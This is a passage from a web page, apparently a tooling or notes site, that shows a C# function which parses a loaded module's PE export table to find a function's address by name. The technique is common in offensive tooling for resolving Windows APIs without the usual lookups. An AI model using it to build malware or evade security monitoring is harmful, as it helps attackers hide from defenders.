/// <returns>IntPtr for the desired function.</returns>
711
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
712
{
713
IntPtr FunctionPtr = IntPtr.Zero;
714
try
715
{
716
// Traverse the PE header in memory
717
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
718
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
719
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
720
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
721
Int64 pExport = 0;
722
if (Magic == 0x010b)
723
{
724
pExport = OptHeader + 0x60;
725
}
726
else
727
{
728
pExport = OptHeader + 0x70;
729
}
730
​
731
// Read -> IMAGE_EXPORT_DIRECTORY
732
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
733
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
734
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
735
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
736
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
737
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
738
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
739
​
740
// Loop the array of export name RVA's
741
for (int i = 0; i < NumberOfNames; i++)
742
{
743
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
744
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
745
{
746
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
747
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
748
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
749
break;
750
}
751
}
752
}
753
catch
754
{
755
// Catch parser failure
756
throw new InvalidOperationException("Failed to parse module exports.");
757
}
758
​
759
if (FunctionPtr == IntPtr.Zero)
760
{
761
// Export not found
762
throw new MissingMethodException(ExportName + ", export not found.");
763
}
764
return FunctionPtr;
765
}
766
​
767
}
768
}
769
​
Copied!
Last modified 10mo ago
Copy link